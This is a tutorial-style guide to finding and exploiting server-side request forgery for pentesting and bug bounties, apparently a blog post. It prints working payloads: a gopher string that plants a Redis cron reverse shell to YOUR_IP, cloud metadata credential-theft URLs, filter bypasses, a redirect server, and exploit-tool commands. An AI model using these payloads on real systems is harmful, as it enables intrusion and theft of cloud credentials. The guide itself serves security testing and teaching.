Server-Side Request Forgery (SSRF) is one of the most dangerous and consistently exploited web vulnerabilities of the last five years. It made the OWASP Top 10 in 2021 and has been weaponized in some of the biggest breaches in cloud history — including the Capital One breach that exposed 100 million records.

If you’re doing web application pentesting or bug bounty hunting in 2026 and you’re not hunting SSRF systematically, you’re leaving money and flags on the table.

This guide covers everything: what SSRF is, how to find it, how to exploit it, cloud metadata attacks, blind SSRF techniques, and every filter bypass worth knowing.


What Is SSRF?

SSRF happens when an attacker can make a server-side application send HTTP requests to an arbitrary destination — one the attacker controls or one that would normally be off-limits.

The classic scenario: a web app has a feature that fetches a URL server-side (thumbnail generator, URL preview, webhook validator, PDF renderer, etc.). If the app doesn’t validate what URLs it will request, an attacker can point it at internal services, cloud metadata APIs, or other sensitive endpoints the attacker couldn’t reach directly.

Normal:   User → Web App → External API
SSRF:     User → Web App → Internal/Restricted Service

The web server becomes a proxy the attacker controls.


Why SSRF Is So Dangerous in 2026

Most targets today run on cloud infrastructure. Every major cloud provider exposes a metadata API accessible at a well-known internal IP — and those APIs contain credentials, tokens, and configuration data for the entire instance.

  • AWS: http://169.254.169.254/latest/meta-data/
  • GCP: http://metadata.google.internal/computeMetadata/v1/
  • Azure: http://169.254.169.254/metadata/instance

Successful SSRF against a cloud host = access to IAM credentials = potential full account takeover. That’s why this vulnerability class gets critical-severity ratings and five-figure bug bounties.


SSRF Entry Points: Where to Look

URL-Based Parameters

Any parameter that accepts a URL is a candidate:

?url=https://example.com
?image=https://example.com/photo.jpg
?webhook=https://target.com/notify
?redirect=https://example.com
?next=https://example.com/dashboard
?callback=https://example.com/api
?feed=https://rss.example.com/feed.xml
?fetch=https://api.example.com/data
?proxy=https://example.com
?endpoint=https://api.example.com

File Import Features

  • Import from URL (Google Docs-style import)
  • “Fetch from link” features
  • Social media preview generators
  • PDF/screenshot generators
  • Webhook configuration panels

Server-Side XML Parsing (XXE → SSRF)

XXE vulnerabilities can chain into SSRF when external entities trigger server-side requests. Worth chaining if you find XML input.

HTTP Headers

Some applications server-side-validate URLs passed in headers:

X-Forwarded-For: http://internal-service/
Referer: http://169.254.169.254/
Host: internal.example.com

Less common, but worth testing against older/custom applications.


Basic SSRF Exploitation

Step 1: Confirm SSRF Exists

Start with your Burp Collaborator or interactsh domain:

?url=https://your-collaborator.burpcollaborator.net

If you get a DNS lookup or HTTP request in Collaborator, SSRF is confirmed — even if the response to you is empty. That’s blind SSRF, and it’s still exploitable.

Step 2: Probe Internal Networks

Once confirmed, start probing internal address space:

?url=http://localhost/
?url=http://127.0.0.1/
?url=http://0.0.0.0/
?url=http://[::1]/          ← IPv6 localhost
?url=http://127.1/          ← shorthand notation
?url=http://2130706433/     ← decimal IP for 127.0.0.1
?url=http://0x7f000001/     ← hex IP for 127.0.0.1

If any of these return different responses (content, timing, error messages), internal services are reachable.

Step 3: Port Scan Internal Services

Use SSRF as a port scanner against common internal ports:

http://localhost:22      → SSH (connection refused / timeout difference)
http://localhost:3306    → MySQL
http://localhost:6379    → Redis
http://localhost:5432    → PostgreSQL
http://localhost:8080    → Internal admin panel
http://localhost:8443    → Internal HTTPS
http://localhost:9200    → Elasticsearch
http://localhost:2375    → Docker API (unauthenticated!)
http://localhost:4001    → etcd
http://127.0.0.1:11211  → Memcached

Response behavior (timing, size, error type) tells you what’s open vs. closed.


Cloud Metadata Attacks

This is where SSRF becomes critical-severity.

AWS EC2 Metadata

IMDSv1 (still common in older deployments):

# Get all metadata
http://169.254.169.254/latest/meta-data/

# Get IAM credentials — this is the jackpot
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

The IAM credentials endpoint returns:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-09-15T23:00:00Z"
}

That’s temporary AWS credentials you can use with aws-cli to operate as the EC2 instance role.

IMDSv2 (the newer, protected version):

AWS introduced IMDSv2 as a defense specifically against SSRF. It requires a PUT request with a session token first:

# Step 1: Get token
curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

# Step 2: Use token in GET
curl -H "X-aws-ec2-metadata-token: TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

IMDSv2 defeats simple SSRF because the PUT step typically can’t be replicated through a basic URL-fetch SSRF. But if the SSRF allows custom headers, or if the application follows redirects, it may still be exploitable.

Other useful AWS metadata:

http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/user-data  ← Often contains bootstrap scripts with secrets

GCP Metadata

# Requires this header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/

# Service account tokens
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Project info
http://metadata.google.internal/computeMetadata/v1/project/project-id

# SSH keys
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys

GCP’s metadata API requires the Metadata-Flavor: Google header. If the vulnerable application passes through custom headers, you can exploit it. If not, look for applications that make server-side requests and pass headers along.

Azure Metadata

# Requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Managed Identity credentials
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Blind SSRF Techniques

Many SSRF vulnerabilities don’t return server responses to the attacker. The app makes the request but only uses the result internally (or discards it). This is “blind SSRF” — harder to exploit but still valuable.

Out-of-Band (OOB) Detection

Use a callback server to detect blind SSRF:

Burp Suite Collaborator (in Burp Pro):

?url=http://your-id.burpcollaborator.net

interactsh (open source alternative):

# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start listener
interactsh-client

# Use generated URL in payload
?url=http://abc123.oast.fun

Webhook.site:

?url=https://webhook.site/your-unique-id

Any DNS lookup or HTTP request to your callback server confirms SSRF even with zero response.

Blind SSRF to RCE via Internal Services

Blind SSRF becomes dangerous when internal services are exploitable:

Redis via Gopher (SSRF → RCE):

gopher://localhost:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR_IP%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

This writes a cron job to Redis that executes a reverse shell — if Redis is running as root or the cron user.

Elasticsearch:

http://localhost:9200/_cat/indices
http://localhost:9200/<index>/_search

Exposes all indexed data without authentication (in older/misconfigured deployments).

Docker API:

http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2375/containers/create

Unauthenticated Docker socket = container escape, new container with host volume mount, full host compromise.


SSRF Filter Bypass Techniques

Most developers know about SSRF and add blocklists. Here’s how to bypass them.

IP Representation Alternatives

Blocklists that check for 127.0.0.1 or localhost often miss these:

# Decimal notation
http://2130706433/              # 127.0.0.1 in decimal

# Octal notation
http://0177.0.0.1/              # 127.0.0.1 in octal

# Hex notation
http://0x7f000001/              # 127.0.0.1 in hex

# Mixed notation
http://0177.0.0x1/

# Short notation
http://127.1/                   # Valid, resolves to 127.0.0.1

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

# 0.0.0.0
http://0.0.0.0/                 # Resolves to localhost on many systems

# URL encoding
http://127.0.0.1%00.example.com/   # Null byte truncation

DNS-Based Bypass

Register a domain that resolves to 127.0.0.1:

# localtest.me resolves all subdomains to 127.0.0.1
http://localtest.me/
http://anything.localtest.me/
http://169.254.169.254.localtest.me/   ← won't work for metadata, but useful for localhost

# nip.io - embed IP in subdomain
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/

DNS Rebinding

For sophisticated bypasses, DNS rebinding attacks make an external domain first resolve to a legitimate IP (passing blocklist check), then resolve to an internal IP on the subsequent request. Requires setup but bypasses most DNS-based filters.

Tools: Singularity of Origin , custom DNS server.

Redirect-Based Bypass

If the blocklist checks the initial URL but not redirects, host a redirect server:

# Simple redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 80), Redirect).serve_forever()

Point SSRF at your server → it redirects to metadata API → app follows redirect.

URL Parsing Confusion

Exploit differences between URL parsers:

# Authority confusion
http://evil.com@localhost/          # Some parsers see host as "localhost"
http://localhost#evil.com/
http://localhost?.evil.com/

# Path traversal after redirect
http://legitimate.com/../../admin

# Scheme confusion
javascript://comment
data://text/plain;base64,SSdtIGV2aWw=
file:///etc/passwd                   # If file:// scheme is allowed

Protocol Smuggling with Gopher

The gopher:// scheme lets you send raw bytes over a TCP connection — useful for protocols that don’t speak HTTP:

# Generic format
gopher://<host>:<port>/<data>

# Redis command injection via gopher
gopher://localhost:6379/_%2A1%0D%0A%249%0D%0Aflushall%0D%0A

# Memcached via gopher
gopher://localhost:11211/_%0d%0aset%20ssrfkey%20

# SMTP via gopher (internal email spoofing)
gopher://localhost:25/...

SSRF in Common Frameworks and Libraries

Python Requests (Server-Side)

Code that does:

import requests
url = request.args.get('url')
resp = requests.get(url)

No validation = SSRF. Test with http://localhost/ or any internal IP.

Java’s URL / HttpURLConnection

Java follows redirects by default and supports unusual URL schemes. Test:

file:///etc/passwd
jar:http://evil.com/evil.jar!/
dict://localhost:11211/

Node.js / Axios / node-fetch

Same pattern — if user input reaches axios.get(url) or fetch(url) without validation, it’s SSRF.


SSRF in Real-World Scenarios

Webhook Validators

“Enter your webhook URL, we’ll send a test event”:

Webhook URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/

PDF/Screenshot Services

Headless Chrome or wkhtmltopdf rendering user-supplied URLs:

URL to render: http://localhost:8080/admin/

These often bypass simple filters because the renderer is a full browser — it may also execute JavaScript, enabling DOM-based attacks on internal services.

Image Upload “Import from URL”

Image URL: http://internal-storage-service/private/photos/employee_data.csv

Kubernetes / Docker Environments

Internal service discovery is common in k8s:

http://kubernetes.default.svc/api/v1/secrets
http://etcd.kube-system.svc:2379/v2/keys
http://10.0.0.1:10250/pods         ← Kubelet API

SSRF Detection with Burp Suite

Automated Scanning

  1. Burp Collaborator — enables passive SSRF detection on all requests
  2. Burp Active Scanner — injects SSRF payloads into URL parameters
  3. Param Miner — discovers hidden parameters that might accept URLs

Manual Hunting Workflow

  1. Enable Burp Collaborator
  2. Spider target — look for any functionality that fetches remote content
  3. For each URL parameter: replace value with Collaborator URL
  4. Check Collaborator for DNS/HTTP interactions
  5. For confirmed SSRF: escalate to internal IP probing

Custom Scan Profile

Add to Burp’s active scan insertion points:

http://burp-collaborator-id.burpcollaborator.net
http://169.254.169.254/latest/meta-data/
http://localhost/

Tooling

ToolPurpose
Burp Suite ProPrimary SSRF detection and exploitation
interactshOpen-source OOB callback for blind SSRF
SSRFmapAutomated SSRF exploitation
gopherusGenerates gopher:// payloads for common services
SSRF SheriffInternal SSRF detection service for bug bounties
nucleiTemplate-based SSRF scanning at scale

SSRFmap — automated exploits for confirmed SSRF:

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m redis
python3 ssrfmap.py -r request.txt -p url -m aws

gopherus — generates gopher payloads:

git clone https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit smtp
python3 gopherus.py --exploit mysql

Need a VPS for your SSRF callback server? Vultr and DigitalOcean both have cheap $4-6/month instances you can spin up, run interactsh or a redirect server, and tear down when the engagement is over.


SSRF Exploitation Methodology

1. Discover → Find URL parameters, import features, webhooks
2. Confirm → OOB callback (Collaborator/interactsh)
3. Classify → Verbose (full response) vs. Blind (OOB only)
4. Escalate →
   ├── Verbose SSRF → probe internal IPs/ports, cloud metadata
   ├── Blind SSRF → OOB exfil via DNS, chain to internal vuln
   └── Cloud target → IAM credentials via metadata API
5. Impact → Document access level, credentials obtained, data exposed

Defense Notes (for Reports)

When you’re writing up SSRF findings, defenders need to know what works:

  1. Allowlist outbound URLs — deny by default, allow only what’s needed
  2. Disable unused URL schemes — block file://, gopher://, dict://, ftp://
  3. Resolve DNS before blocklist check — prevent DNS rebinding bypasses
  4. Use IMDSv2 on AWS — requires PUT token, defeats most SSRF attacks on metadata API
  5. Block metadata IPs at firewall level — network-layer defense
  6. Avoid following redirects — or validate after redirect
  7. WAF with SSRF rules — Cloudflare, AWS WAF, and ModSecurity have SSRF rulesets

Practice Labs

  • PortSwigger Web Security Academy — 13 SSRF labs, free, best structured learning
  • HackTheBox — machines with real SSRF chains
  • TryHackMe — beginner-friendly SSRF rooms
  • DVWA — local lab, limited SSRF coverage but good for basics
  • VulnHub — several VMs with SSRF as part of larger chains

Key Takeaways

  • SSRF = making the server be your proxy to internal/restricted resources
  • Cloud metadata APIs are the highest-value SSRF target in 2026
  • Blind SSRF is still exploitable via OOB callbacks and chaining to internal vulns
  • Every filter has a bypass — test multiple IP representations and schemes
  • gopher:// protocol turns SSRF into a raw TCP injector against Redis, SMTP, etc.
  • IMDSv2 hardens AWS but doesn’t eliminate SSRF risk — other internal services remain

SSRF is one of those vulnerabilities that scales with your target. Against a startup with EC2 instances and no IMDSv2, it’s a credential dump and potential full account takeover. Against a hardened cloud deployment, it still opens doors to internal services that weren’t meant to be reachable. Either way, it’s worth hunting.


Want professional pentest reports written for your findings? CipherWrite handles technical writing for security professionals — from bug bounty writeups to full red team reports.